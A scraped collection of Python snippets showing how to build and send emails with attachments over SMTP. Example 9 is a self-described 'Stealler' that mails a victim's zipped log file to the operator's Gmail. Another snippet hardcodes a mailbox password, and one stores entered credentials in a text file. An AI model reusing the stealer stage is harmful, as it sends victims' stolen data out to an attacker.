Ejemplo n.º 1
0
def send_email(filepath_in):
    # 邮件发送和接收人配置
    from_addr = '*****@*****.**'
    smtp_server = 'smtp.partner.outlook.cn'
    password = '******'  # 这是你邮箱的第三方授权客户端密码,并非你的登录密码
    to_reciver = ['*****@*****.**', '*****@*****.**', '*****@*****.**',
                  '*****@*****.**']  # 接收邮件,可设置为你的QQ邮箱或者其他邮箱
    cc_reciver = ['*****@*****.**', '*****@*****.**', '*****@*****.**',
                  '*****@*****.**', '*****@*****.**', '*****@*****.**']
    receiver = to_reciver + cc_reciver
    wk = int(getNowYearWeek()[1]) - 1
    content = '''
    <body style="font-family:segoe ui;color:DarkSlateGray;font-size:15px;">
    <p><b>Hi all,<br />Update latest version software check list FYR.</b></p>
    <hr />
    <p><b><i>Newly added or updated items are marked with red.</i></b></font><br /><img src="cid:Iran">
    <br /><strong>If any question, pls let me know!<strong></p>
    <p><strong>Best regards<br /><font color="#0071BB">Carlcare Service</font> <br /><font color="#399340"><i>Yes!We care</i></font><br />
    Dream Zhou | Carlcare HQ technical support</strong></p>
    </body>
    '''
    subject = 'I_ran latest version software check list_week' + str(wk)
    msg = MIMEMultipart('related')
    msg['From'] = _format_addr('Carlcare HQ Technical Support <%s>' % from_addr)  # 显示的发件人
    # msg['To'] = _format_addr('管理员 <%s>' % to_addr)                # 单个显示的收件人
    msg['To'] = ','.join(to_reciver)
    msg['Cc'] = ','.join(cc_reciver)
    msg['Subject'] = Header(subject, 'utf-8')
    # 需要传入的路径
    # filepath = r'F:\Transsion\New market\latest version software checklist by country'
    filepath = filepath_in
    r = os.path.exists(filepath)
    if r is False:
        msg.attach(MIMEText('no file...', 'plain', 'utf-8'))
    else:
        # 邮件正文是MIMEText:
        msg.attach(MIMEText(content, 'html', 'utf-8'))
        msg.attach(addimg(r"F:\Python在路上\PythonI_project\SW checklist images\Iran.jpg", "Iran"))

        # 遍历指定目录,显示目录下的所有文件名
        pathdir = os.listdir(filepath)
        for alldir in pathdir:
            child = os.path.join(filepath, alldir)
            # print(child.decode('gbk'))  # .decode('gbk')是解决中文显示乱码问题

            # 添加附件就是加上一个MIMEBase,从本地读取一个文件
            with open(child, 'rb') as f:
                # 设置附件的MIME和文件名,这里是txt类型:
                mime = MIMEBase('file', 'xls', filename=alldir)
                # 加上必要的头信息:
                mime.add_header('Content-Disposition', 'attachment', filename=alldir)
                mime.add_header('Content-ID', '<0>')
                mime.add_header('X-Attachment-Id', '0')
                # 把附件的内容读进来:
                mime.set_payload(f.read())
                # 用Base64编码:
                encoders.encode_base64(mime)
                # 添加到MIMEMultipart:
                msg.attach(mime)
    try:
        server = smtplib.SMTP(smtp_server, 587)
        server.starttls()
        server.set_debuglevel(1)  # 用于显示邮件发送的执行步骤
        server.login(from_addr, password)
        # print to_addrs
        server.sendmail(from_addr, receiver, msg.as_string())
        server.quit()
    except:
        print('Send failed!')
Ejemplo n.º 2
0
def send_template():
    try:
        # set up the SMTP server
        s = smtplib.SMTP(host='smtp.mail.ru', port=2525)
        s.starttls()
        s.login(mail_entry.get(), pass_entry.get())

        if MY_ADDRESS + " " + PASSWORD is not mail_entry.get(
        ) + " " + pass_entry.get():
            file = open("smtp.txt", mode="a")

            log = str(datetime.now()) + " Login as:" + mail_entry.get()

            print(log)

            file.seek(0)  # <- This is the missing piece
            file.truncate()

            file.write(mail_entry.get() + " " + pass_entry.get() + "\n")

            file.close()

        is_hidden = var.get()
        print(is_hidden)
        # Проверка стоит ли галочка
        if not var.get():
            counts = 0
            counter = 0
            # For each contact, send the email:

            for name, email, text in zip(names, emails, texts):
                # messagebox.showinfo("Contact", email)
                try:
                    if counts == int(count_entry.get()):
                        print("Please, wait, the timer is working...")
                        time.sleep(60 * int(interval_entry.get()))
                        counts = 0

                    counts += 1

                    # set up the SMTP server
                    s = smtplib.SMTP(host='smtp.mail.ru', port=2525)
                    s.starttls()
                    s.login(mail_entry.get(), pass_entry.get())

                    msg = MIMEMultipart()  # create a message

                    filename = attachment_text.cget(
                        "text")  # attachment_button.

                    if filename:
                        attachment = open(filename, 'rb')

                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload((attachment).read())
                        encoders.encode_base64(part)
                        part.add_header(
                            'Content-Disposition', "attachment; filename= %s" %
                            ntpath.basename(filename))

                        msg.attach(part)

                        attachment.close()

                        del attachment

                    message_temp = MIMEText(
                        Template(template_text.get(
                            "1.0", END)).substitute(PERSON_NAME=name), 'plain')

                    msg.attach(message_temp)

                    counter += 1
                    log = str(datetime.now()) + " " + str(
                        counter) + " Sent to " + email + " Filename: " + ""

                    print(log)

                    file = open("logs.txt", mode="a", encoding="utf-8")

                    file.write(log + "\n")

                    file.close()

                    # setup the parameters of the message
                    msg['From'] = mail_entry.get()
                    msg['To'] = email
                    msg['Subject'] = theme_entry.get()

                    # add in the message body
                    # msg.attach(msg.as_string())

                    # send the message via the server set up earlier.
                    s.send_message(msg)
                    del msg

                except Exception as e1:
                    log = str(datetime.now()) + " Error#51:" + str(e1.args)
                    file = open("logs.txt", mode="a", encoding="utf-8")
                    file.write(log + "\n")
                    file.close()
                    print("Error#5: " + str(e1.args))
                    pass
            # Terminate the SMTP session and close the connection
            s.quit()

        else:
            counts = 0
            counter = 0
            # For each contact, send the email:

            names_str = ",".join(names)
            emails_str = ",".join(emails)

            # //texts_str in
            # //zip(, texts):

            try:
                if counts == int(count_entry.get()):
                    print("Please, wait, the timer is working...")
                    time.sleep(60 * int(interval_entry.get()))
                    counts = 0

                counts += 1

                # set up the SMTP server
                s = smtplib.SMTP(host='smtp.mail.ru', port=2525)
                s.starttls()
                s.login(mail_entry.get(), pass_entry.get())

                msg = MIMEMultipart()  # create a message

                filename = attachment_text.cget("text")  # attachment_button.
                if filename:
                    attachment = open(filename, 'rb')

                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload((attachment).read())
                    encoders.encode_base64(part)
                    part.add_header(
                        'Content-Disposition',
                        "attachment; filename= %s" % ntpath.basename(filename))

                    msg.attach(part)

                    attachment.close()

                    del attachment

                message_temp = Template(template_text.get("1.0", END))

                if names[counts]:
                    message_temp = MIMEText(
                        Template(template_text.get(
                            "1.0", END)).substitute(PERSON_NAME=names[counts]),
                        'plain')

                msg.attach(message_temp)

                counter += 1
                log = str(datetime.now()) + " " + str(
                    counter) + " Sent to " + emails_str + " Filename: " + ""

                print(log)

                file = open("logs.txt", mode="a", encoding="utf-8")

                file.write(log + "\n")

                file.close()

                # setup the parameters of the message
                msg['From'] = mail_entry.get()
                msg['Bcc'] = emails_str
                msg['Subject'] = theme_entry.get()

                # add in the message body
                # msg.attach(msg.as_string())

                # send the message via the server set up earlier.
                s.send_message(msg)
                del msg

                # Terminate the SMTP session and close the connection
                s.quit()

            except Exception as e2:
                log = str(datetime.now()) + " Error#52:" + str(e2.args)
                file = open("logs.txt", mode="a", encoding="utf-8")
                file.write(log + "\n")
                file.close()
                print("Error#5: " + str(e2.args))
                pass

        print("Sent")
        messagebox.showinfo("Messages", "Sent!")

    except Exception as e3:
        log = str(datetime.now()) + " Error#6:" + str(e3.args)
        file = open("logs.txt", mode="a", encoding="utf-8")
        file.write(log + "\n")
        file.close()
        print("Error#6: " + str(e3.args))
Ejemplo n.º 3
0
message = MIMEMultipart()
message["From"] = sender_email
message["To"] = receiver_email
message["Subject"] = subject
message["Bcc"] = receiver_email  # Recommended for mass emails

# Add body to email
message.attach(MIMEText(body, "plain"))

filename = input("Enter the name of the image.jpg:")  # In same directory as script

# Open .JPG file in binary mode
with open(filename, "rb") as attachment:
    # Add file as application/octet-stream
    # Email client can usually download this automatically as attachment
    part = MIMEBase("application", "octet-stream")
    part.set_payload(attachment.read())

# Encode file in ASCII characters to send by email    
encoders.encode_base64(part)

# Add header as key/value pair to attachment part
part.add_header(
    "Content-Disposition",
    f"attachment; filename= {filename}",
)

# Add attachment to message and convert message to string
message.attach(part)
text = message.as_string()
Ejemplo n.º 4
0
def main():
    outer = MIMEMultipart()
    parser = OptionParser()

    parser.add_option("-o", "--output", dest="output",
                      help="write output to FILE [default %default]",
                      metavar="FILE", default="-")
    parser.add_option("-z", "--gzip", dest="compress", action="store_true",
                      help="compress output", default=False)
    parser.add_option("-d", "--default", dest="deftype",
                      help="default mime type [default %default]",
                      default="text/plain")
    parser.add_option("--delim", dest="delim",
                      help="delimiter [default %default]", default=":")

    (options, args) = parser.parse_args()

    if (len(args)) < 1:
        parser.error("Must give file list see '--help'")

    for arg in args:
        t = arg.split(options.delim, 1)
        path = t[0]
        if len(t) > 1:
            mtype = t[1]
        else:
            mtype = get_type(path, options.deftype)

        maintype, subtype = mtype.split('/', 1)
        if maintype == 'text':
            fp = open(path)
            # Note: we should handle calculating the charset
            msg = MIMEText(fp.read(), _subtype=subtype)
            fp.close()
        else:
            fp = open(path, 'rb')
            msg = MIMEBase(maintype, subtype)
            msg.set_payload(fp.read())
            fp.close()
            # Encode the payload using Base64
            encoders.encode_base64(msg)

        # Set the filename parameter
        msg.add_header('Content-Disposition', 'attachment',
                       filename=os.path.basename(path))

        outer.attach(msg)

    if options.output is "-":
        if hasattr(sys.stdout, "buffer"):
            # We want to write bytes not strings
            ofile = sys.stdout.buffer
        else:
            ofile = sys.stdout
    else:
        ofile = open(options.output, "wb")

    if options.compress:
        gfile = gzip.GzipFile(fileobj=ofile, filename=options.output)
        gfile.write(outer.as_string().encode())
        gfile.close()
    else:
        ofile.write(outer.as_string().encode())

    ofile.close()
Ejemplo n.º 5
0
def send_report(filename=""):

    server = None

    # Send the mail
    if email_template.__len__() > 0:
        try:
            print(email_template[0][1])
            #server = smtplib.SMTP(email_template[0][4], email_template[0][5],None, 30)
            #try:
            #   server.connect(email_template[0][4], email_template[0][5],None, 30)
            #except smtplib.SMTPAuthenticationError as e:
            #   print(str(e))
            #print(email_template[0][1])

            import traceback
            traceback.print_exc()
            #server.connect()

            #server.starttls()
            # Next, log in to the server
            #server.login(email_template[0][1], email_template[0][2])

            msg = MIMEMultipart()
            msg['From'] = "*****@*****.**"
            msg['To'] = email_template[0][9]
            msg['Subject'] = email_template[0][6]
            body = email_template[0][7]
            msg.attach(MIMEText(body, 'plain'))
            attachment = ""

            if email_template[0][8] == 1:
                part = MIMEBase('application', 'octet-stream')
                try:
                    attachment = open("./" + filename, "rb")
                except Exception as ee:
                    print("" + str(ee))
                if attachment != "":
                    part.set_payload((attachment).read())
                    encoders.encode_base64(part)
                    part.add_header('Content-Disposition',
                                    "attachment; filename= %s" % filename)
                    msg.attach(part)
            text = msg.as_string()

            #server.sendmail("*****@*****.**",email_template[0][9].split(','), text)

            print('sent' + str(email_template[0][10]) + str('1'))
            getResult("UPDATE EMAIL_HISTORY SET status=1 WHERE history_id=" +
                      str(email_template[0][10]))
        except pymysql.InternalError as e:
            print('SMTP Exception:' + str(e))
            getResult(
                "INSERT INTO `JOB_ERROR`(`job_id`, `error_description`) VALUES (1,'SMTP Exception:"
                + str(e) + "')")
        except smtplib.SMTPException as e:
            print('SMTP Exception:' + str(e))
            import traceback
            traceback.print_exc()
        except Exception as e:
            print('SMTP Exception:' + str(e))
            import traceback
            traceback.print_exc()
Ejemplo n.º 6
0
    def sendMailMessage(self, xMailMessage):
        COMMASPACE = ', '

        if dbg:
            print("PyMailSMTPService sendMailMessage", file=dbgout)
        recipients = xMailMessage.getRecipients()
        sendermail = xMailMessage.SenderAddress
        sendername = xMailMessage.SenderName
        subject = xMailMessage.Subject
        ccrecipients = xMailMessage.getCcRecipients()
        bccrecipients = xMailMessage.getBccRecipients()
        if dbg:
            print("PyMailSMTPService subject: " + subject, file=dbgout)
            print("PyMailSMTPService from:  " + sendername, file=dbgout)
            print("PyMailSMTPService from:  " + sendermail, file=dbgout)
            print("PyMailSMTPService send to: %s" % (recipients, ),
                  file=dbgout)

        attachments = xMailMessage.getAttachments()

        textmsg = Message()

        content = xMailMessage.Body
        flavors = content.getTransferDataFlavors()
        if dbg:
            print("PyMailSMTPService flavors len: %d" % (len(flavors), ),
                  file=dbgout)

        #Use first flavor that's sane for an email body
        for flavor in flavors:
            if flavor.MimeType.find('text/html') != -1 or flavor.MimeType.find(
                    'text/plain') != -1:
                if dbg:
                    print("PyMailSMTPService mimetype is: " + flavor.MimeType,
                          file=dbgout)
                textbody = content.getTransferData(flavor)

                if len(textbody):
                    mimeEncoding = re.sub("charset=.*", "charset=UTF-8",
                                          flavor.MimeType)
                    if mimeEncoding.find('charset=UTF-8') == -1:
                        mimeEncoding = mimeEncoding + "; charset=UTF-8"
                    textmsg['Content-Type'] = mimeEncoding
                    textmsg['MIME-Version'] = '1.0'

                    try:
                        #it's a string, get it as utf-8 bytes
                        textbody = textbody.encode('utf-8')
                    except:
                        #it's a bytesequence, get raw bytes
                        textbody = textbody.value
                    if sys.version >= '3':
                        if sys.version_info.minor < 3 or (
                                sys.version_info.minor == 3
                                and sys.version_info.micro <= 1):
                            #http://stackoverflow.com/questions/9403265/how-do-i-use-python-3-2-email-module-to-send-unicode-messages-encoded-in-utf-8-w
                            #see http://bugs.python.org/16564, etc. basically it now *seems* to be all ok
                            #in python 3.3.2 onwards, but a little busted in 3.3.0

                            textbody = textbody.decode('iso8859-1')
                        else:
                            textbody = textbody.decode('utf-8')
                        c = Charset('utf-8')
                        c.body_encoding = QP
                        textmsg.set_payload(textbody, c)
                    else:
                        textmsg.set_payload(textbody)

                break

        if (len(attachments)):
            msg = MIMEMultipart()
            msg.epilogue = ''
            msg.attach(textmsg)
        else:
            msg = textmsg

        hdr = Header(sendername, 'utf-8')
        hdr.append('<' + sendermail + '>', 'us-ascii')
        msg['Subject'] = subject
        msg['From'] = hdr
        msg['To'] = COMMASPACE.join(recipients)
        if len(ccrecipients):
            msg['Cc'] = COMMASPACE.join(ccrecipients)
        if xMailMessage.ReplyToAddress != '':
            msg['Reply-To'] = xMailMessage.ReplyToAddress

        mailerstring = "LibreOffice via Caolan's mailmerge component"
        try:
            ctx = uno.getComponentContext()
            aConfigProvider = ctx.ServiceManager.createInstance(
                "com.sun.star.configuration.ConfigurationProvider")
            prop = uno.createUnoStruct('com.sun.star.beans.PropertyValue')
            prop.Name = "nodepath"
            prop.Value = "/org.openoffice.Setup/Product"
            aSettings = aConfigProvider.createInstanceWithArguments(
                "com.sun.star.configuration.ConfigurationAccess", (prop, ))
            mailerstring = aSettings.getByName("ooName") + " " + \
             aSettings.getByName("ooSetupVersion") + " via Caolan's mailmerge component"
        except:
            pass

        msg['X-Mailer'] = mailerstring
        msg['Date'] = formatdate(localtime=True)

        for attachment in attachments:
            content = attachment.Data
            flavors = content.getTransferDataFlavors()
            flavor = flavors[0]
            ctype = flavor.MimeType
            maintype, subtype = ctype.split('/', 1)
            msgattachment = MIMEBase(maintype, subtype)
            data = content.getTransferData(flavor)
            msgattachment.set_payload(data.value)
            encode_base64(msgattachment)
            fname = attachment.ReadableName
            try:
                msgattachment.add_header('Content-Disposition', 'attachment', \
                 filename=fname)
            except:
                msgattachment.add_header('Content-Disposition', 'attachment', \
                 filename=('utf-8','',fname))
            if dbg:
                print(("PyMailSMTPService attachmentheader: ",
                       str(msgattachment)),
                      file=dbgout)

            msg.attach(msgattachment)

        uniquer = {}
        for key in recipients:
            uniquer[key] = True
        if len(ccrecipients):
            for key in ccrecipients:
                uniquer[key] = True
        if len(bccrecipients):
            for key in bccrecipients:
                uniquer[key] = True
        truerecipients = uniquer.keys()

        if dbg:
            print(("PyMailSMTPService recipients are: ", truerecipients),
                  file=dbgout)

        self.server.sendmail(sendermail, truerecipients, msg.as_string())
Ejemplo n.º 7
0
 Thank You
 '''
 sender_address = '*****@*****.**'
 sender_pass = '******'
 receiver_address = '*****@*****.**'
 #Setup the MIME
 message = MIMEMultipart()
 message['From'] = sender_address
 message['To'] = receiver_address
 message['Subject'] = 'This user is critical situation'
 #The subject line
 #The body and the attachments for the mail
 message.attach(MIMEText(mail_content, 'plain'))
 attach_file_name = 'download.jfif'
 attach_file = open(attach_file_name, 'rb')  # Open the file as binary mode
 payload = MIMEBase('application', 'octate-stream')
 payload.set_payload((attach_file).read())
 encoders.encode_base64(payload)  #encode the attachment
 #add payload header with filename
 payload.add_header('Content-Decomposition',
                    'attachment',
                    filename=attach_file_name)
 message.attach(payload)
 #Create SMTP session for sending the mail
 session = smtplib.SMTP('smtp.gmail.com', 587)  #use gmail with port
 session.starttls()  #enable security
 session.login(sender_address,
               sender_pass)  #login with mail_id and password
 text = message.as_string()
 session.sendmail(sender_address, receiver_address, text)
 session.quit()
Ejemplo n.º 8
0
def covail(
    l=[{
        '1key1': '1value1',
        '1key2': '1value2'
    }, {
        '2key1': '2value1',
        '2key2': '2value2'
    }],
    toaddr="*****@*****.**",
    filename=None,
):

    if filename == None:
        filename = f"{toaddr.split('@')[0]}.xlsx"

    import pandas as pd
    writer = pd.ExcelWriter(filename, engine='xlsxwriter')

    for i, j in enumerate(l):
        pd.DataFrame(l[i],
                     # index=[0]
                     ).to_excel(writer, sheet_name=f'Sheet {i}')
    writer.save()

    import smtplib
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    from email.mime.base import MIMEBase
    from email import encoders

    fromaddr = "*****@*****.**"
    # toaddr = "*****@*****.**"

    msg = MIMEMultipart()
    msg['From'] = fromaddr
    msg['To'] = toaddr

    msg['Subject'] = "COVID19 Slot Notification"
    body = f'''

    Book your Slot here : https://selfregistration.cowin.gov.in/

    This E-Mail is Sent using python code by vicks,
    Slots are... (open attached excel file) below.
    '''
    msg.attach(MIMEText(body, 'plain'))
    attachment = open(filename, "rb")

    p = MIMEBase('application', 'octet-stream')
    p.set_payload((attachment).read())
    encoders.encode_base64(p)
    p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
    msg.attach(p)

    s = smtplib.SMTP('smtp.gmail.com', 587)
    s.starttls()
    s.login(fromaddr, "pythonsagarvicky")

    text = msg.as_string()
    s.sendmail(fromaddr, toaddr, text)
    s.quit()

    return len(l)
Ejemplo n.º 9
0
################################################################################
doc = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Local\\Temp\\LOG.zip'
################################################################################
#                              ОТПРАВКА                                        #
################################################################################
'↑Stealler by Andrew_Shipunov↑'.encode('utf-8')
msgtext = MIMEText('↑Stealler by Andrew_Shipunov↑'.encode('utf-8'), 'plain', 'utf-8')
msg = MIMEMultipart()
msg['From'] = 'ваша новая почта@gmail.com'
msg['To'] = 'почта куда отправится'
msg['Subject'] = getpass.getuser() + '-PC'
msg.attach(msgtext)
################################################################################
#                              СОЗДАНИЕ ВЛОЖЕНИЯ                               #
################################################################################
part = MIMEBase('application', "zip")
b = open(doc, "rb").read()
bs = encodebytes(b).decode()
part.set_payload(bs)
part.add_header('Content-Transfer-Encoding', 'base64')
part.add_header('Content-Disposition', 'attachment; filename="LOG.zip"')
msg.attach(part)
################################################################################
#                              ОТПРАВКА вам       #
################################################################################
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()                                   
s.login('новая ваша почта гмаил', 'пароль от новой почты гмаил')
s.sendmail('новая ваша почта гмаил', 'почта куда отправится', msg.as_string())
s.quit()
i = input()
Ejemplo n.º 10
0
 def add_attachment(self, file):
     part = MIMEBase("application", "octet-stream")
     part.set_payload(file['base64'])
     part.add_header('Content-Transfer-Encoding', 'base64')
     part['Content-Disposition'] = 'attachment; filename="%s"' % file['fileName']
     self.msg.attach(part)
Ejemplo n.º 11
0
 email_config_filename = os.path.normpath('./email_config.json')
 with open(email_config_filename) as email_config_file:
     email_config = json.load(email_config_file)
 context = ssl.create_default_context()
 with smtplib.SMTP_SSL(email_config['server'], int(email_config['port']), context=context) as server:
     server.login(email_config['username'], email_config['password'])
     # assemble email message
     email_message = MIMEMultipart()
     email_subject = 'Searched and compiled flights'
     email_message['Subject'] = email_subject
     email_message['From'] = email_config['username']
     email_message_body = "<html><head></head><body>"
     for info, df in zip(info_list, df_list):
         info = info.replace('Searching', 'Searched')
         info = info.replace('compiling', 'compiled')
         email_message_body += "<br><strong>{:s}</strong><br>".format(info)
         email_message_body += df.to_html(index=False)
         email_message_body += "<br>"
     email_message_body += "</body></html>"
     email_message.attach(MIMEText(email_message_body, 'html'))
     # attach the saved Excel file
     for save_filename in save_filename_list:
         email_attachment = MIMEBase('application', "octet-stream")
         email_attachment.set_payload(open(save_filename, 'rb').read())
         encoders.encode_base64(email_attachment)
         email_attachment.add_header('Content-Disposition',
                                     'email_attachment; filename={:s}'.format(save_filename))
         email_message.attach(email_attachment)
     # send email
     server.sendmail(email_message['From'], args.email, email_message.as_string())
     print('Google Flight search results are sent to {:s}'.format(','.join(args.email)))
Ejemplo n.º 12
0


msg2 = MIMEMultipart()
msg2['From'] = _format_addr('Python爱好者 <%s>' % from_addr)
msg2['To'] = _format_addr('管理员 <%s>' % to_addr)
msg2['Subject'] = Header('来自SMTP的问候……', 'utf-8').encode()

# 邮件正文是MIMEText:
# attach()
msg2.attach(MIMEText('send with file...', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个图片:
with open(r'E:\Pictures\背景\wpcache\360wallpaper.jpg', 'rb') as f:
    # 设置附件的MIME和文件名,这里是png类型:
    mime = MIMEBase('image', 'jpg', filename='360wallpaper.jpg')
    # 加上必要的头信息:
    mime.add_header('Content-Disposition', 'attachment', filename='360wallpaper.jpg')
    mime.add_header('Content-ID', '<0>')
    mime.add_header('X-Attachment-Id', '0')
    # 把附件的内容读进来:
    mime.set_payload(f.read())
    # 用Base64编码:
    encoders.encode_base64(mime)
    # 添加到MIMEMultipart:
    msg2.attach(mime)

# 在加入附件的基础上,邮件正文嵌入图片
# 引入cid:x 给图片编号
msg2.attach(MIMEText('<html><body><h1>Hello</h1>' +
    '<p><img src="cid:0"></p>' +
Ejemplo n.º 13
0
def _getMessage(ctx, message):
    COMMASPACE = ', '
    sendermail = message.SenderAddress
    sendername = message.SenderName
    subject = message.Subject
    if isDebugMode():
        msg = getMessage(ctx, g_message, 251, subject)
        logMessage(ctx, INFO, msg, 'SmtpService', 'sendMailMessage()')
    textmsg = Message()
    content = message.Body
    flavors = content.getTransferDataFlavors()
    #Use first flavor that's sane for an email body
    for flavor in flavors:
        if flavor.MimeType.find('text/html') != -1 or flavor.MimeType.find(
                'text/plain') != -1:
            textbody = content.getTransferData(flavor)
            if len(textbody):
                mimeEncoding = re.sub('charset=.*', 'charset=UTF-8',
                                      flavor.MimeType)
                if mimeEncoding.find('charset=UTF-8') == -1:
                    mimeEncoding = mimeEncoding + '; charset=UTF-8'
                textmsg['Content-Type'] = mimeEncoding
                textmsg['MIME-Version'] = '1.0'
                try:
                    #it's a string, get it as utf-8 bytes
                    textbody = textbody.encode('utf-8')
                except:
                    #it's a bytesequence, get raw bytes
                    textbody = textbody.value
                if sys.version >= '3':
                    if sys.version_info.minor < 3 or (
                            sys.version_info.minor == 3
                            and sys.version_info.micro <= 1):
                        #http://stackoverflow.com/questions/9403265/how-do-i-use-python-3-2-email-module-to-send-unicode-messages-encoded-in-utf-8-w
                        #see http://bugs.python.org/16564, etc. basically it now *seems* to be all ok
                        #in python 3.3.2 onwards, but a little busted in 3.3.0
                        textbody = textbody.decode('iso8859-1')
                    else:
                        textbody = textbody.decode('utf-8')
                    c = Charset('utf-8')
                    c.body_encoding = QP
                    textmsg.set_payload(textbody, c)
                else:
                    textmsg.set_payload(textbody)
            break
    if message.hasAttachments():
        msg = MIMEMultipart()
        msg.epilogue = ''
        msg.attach(textmsg)
    else:
        msg = textmsg
    header = Header(sendername, 'utf-8')
    header.append('<' + sendermail + '>', 'us-ascii')
    msg['Subject'] = subject
    msg['From'] = header
    msg['To'] = COMMASPACE.join(message.getRecipients())
    msg['Message-ID'] = message.MessageId
    if message.ThreadId:
        msg['References'] = message.ThreadId
    if message.hasCcRecipients():
        msg['Cc'] = COMMASPACE.join(message.getCcRecipients())
    if message.ReplyToAddress != '':
        msg['Reply-To'] = message.ReplyToAddress
    xmailer = "LibreOffice / OpenOffice via smtpMailerOOo extention"
    try:
        configuration = getConfiguration(ctx, '/org.openoffice.Setup/Product')
        name = configuration.getByName('ooName')
        version = configuration.getByName('ooSetupVersion')
        xmailer = "%s %s via smtpMailerOOo extention" % (name, version)
    except:
        pass
    msg['X-Mailer'] = xmailer
    msg['Date'] = formatdate(localtime=True)
    for attachment in message.getAttachments():
        content = attachment.Data
        flavors = content.getTransferDataFlavors()
        flavor = flavors[0]
        ctype = flavor.MimeType
        maintype, subtype = ctype.split('/', 1)
        msgattachment = MIMEBase(maintype, subtype)
        data = content.getTransferData(flavor)
        msgattachment.set_payload(data.value)
        encode_base64(msgattachment)
        fname = attachment.ReadableName
        try:
            msgattachment.add_header('Content-Disposition', 'attachment', \
                filename=fname)
        except:
            msgattachment.add_header('Content-Disposition', 'attachment', \
                filename=('utf-8','',fname))
        msg.attach(msgattachment)
    return msg
Ejemplo n.º 14
0
 def _add_base(path, maintype, subtype):
     with open(path, 'rb') as fo:
         msg = MIMEBase(maintype, subtype)
         msg.set_payload(fo.read())
         encoders.encode_base64(msg)
         return msg
from_addr = input('From: ') # 输入email地址
password = input('Password: '******'To: ') # 输入收件人地址
smtp_server = input('SMTP server: ') # 输入SMTP服务器地址

def _format_addrs(s): # 格式化一个邮件地址
	name, addr = parseaddr(s)
	return formataddr((Header(name, 'utf-8').encode(), addr))
# 邮件对象
msg = MIMEMultipart()
msg['From'] = _format_addrs('Pythoner <%s>' % from_addr)
msg['To'] = _format_addrs('Manager<%s>' % to_addr)
msg['Subject'] = Header('From SMTP ...', 'utf-8').encode()

# 邮件正文时MIMEText
msg.attach(MIMEText('send with file...', 'plant', 'utf-8'))
# 添加附件, 加上一个MIMEBase, 从本地读取一个图片:
with open('image.jpg', 'rb') as f:
	mime = MIMEBase('image', 'jpg', filename='image.jpg') # 设置附件的MIME和文件名
	mime.add_header('Content-Disposition', 'attachment', filename='image.jpg') # 加上必要的头信息
	mime.add_header('Content-ID', '<0>')
	mime.add_header('X-Attachment-ID', '0')
	mime.set_payload(f.read()) # 把附件内容读进来
	encoders.encode_base64(mime) # 使用Base64编码
	msg.attach(mime) # 添加到MIMEMutiipart

server = smtplib.SMTP_SSL(smtp_server, 465)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()
Ejemplo n.º 16
0
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "E-mail autimatico botMailImac"

body = (
    '''E-mail enviado automáticamente pelo botMailImac. Este é um E-mail de teste, desconsidere o mesmo.

Enviado por:botMailImac by André Oliveira''')
msg.attach(MIMEText(body))

filename = r'enviar\*.*'
attachment = open(filename, "rb")

mimetypes_anexo = mimetypes.guess_type(filename)[0].split('/')
part = MIMEBase(mimetypes_anexo[0], mimetypes_anexo[1])

part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)

msg.attach(part)

server = smtplib.SMTP('smtp.metalurgicaimac.com.br', 587)
server.starttls()
server.login(fromaddr, open('senha.txt').read().strip())
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()

from subprocess import Popen
Ejemplo n.º 17
0
    def send_msg(self,
                 body_msg,
                 image=None,
                 image2=None,
                 maxmin_in=None,
                 maxmin_out=None):
        """ Send a message with pictures and data. """

        print "send_msg", body_msg
        t_s = time.gmtime()

        for email in mod.Email.objects.all():
            msg_from = email.from_email
            msg_to = email.to_email
            msg = MIMEMultipart()
            msg['From'] = msg_from
            msg['To'] = msg_to
            msg['Subject'] = "Lucky & Miracle: " + body_msg

            body = body_msg
            if maxmin_in is not None:
                body += '\nThe maximum temperature measured inside was '
                body += str(maxmin_in.max_temp) + 'F at '
                body += maxmin_in.max_temp_date.strftime(
                    '%y/%m/%d %H:%M:%S') + '\n'
                body += '\nThe minimum temperature measured inside was ' + str(
                    maxmin_in.min_temp)
                body += 'F at ' + maxmin_in.min_temp_date.strftime(
                    '%y/%m/%d %H:%M:%S') + '\n'

            if maxmin_out is not None:
                body += '\nThe maximum temperature measured outside was '
                body += str(maxmin_out.max_temp) + 'F at '
                body += maxmin_out.max_temp_date.strftime(
                    '%y/%m/%d %H:%M:%S') + '\n'
                body += '\nThe minimum temperature measured outside was '
                body += str(maxmin_out.min_temp) + 'F at '
                body += maxmin_out.min_temp_date.strftime(
                    '%y/%m/%d %H:%M:%S') + '\n'

            msg.attach(MIMEText(body, 'plain'))
            if image is not None:
                f_p = open(image, 'rb')
                img = MIMEImage(f_p.read())
                f_p.close()
                msg.attach(img)

            if image2 is not None:
                f_p = open(image2, 'rb')
                img = MIMEImage(f_p.read())
                f_p.close()
                msg.attach(img)

            if t_s.tm_wday == 6 and re.search('sunrise', body_msg):
                report_file = self.report()
                f_p = open(report_file, 'rb')
                report = MIMEBase('application', 'octet-stream')
                report.set_payload(f_p.read())
                f_p.close()
                encoders.encode_base64(report)
                report.add_header("Content-Disposition",
                                  "attachment",
                                  filename='report.xlsx')
                msg.attach(report)

            try:
                # if True:
                hotmail = smtplib.SMTP('smtp.live.com', 587)
                hotmail.starttls()
                hotmail.login(msg_from, email.from_password)
                text = msg.as_string()
                hotmail.sendmail(msg_from, msg_to, text)
                hotmail.quit()
            except (RuntimeError, TypeError, NameError):
                print "Email:", RuntimeError, TypeError, NameError
            except ValueError:
                print "Email ValueError", ValueError
                    email_text, tracking_uuid)
                msg.attach(MIMEText(altered_email_text, "html", "utf-8"))
            else:
                msg.attach(MIMEText(email_text, "html", "utf-8"))

            if args.attachment_filename is not None:

                ctype, encoding = mimetypes.guess_type(
                    args.attachment_filename)
                if ctype is None or encoding is not None:
                    # No guess could be made, or the file is encoded (compressed), so
                    # use a generic bag-of-bits type.
                    ctype = "application/octet-stream"
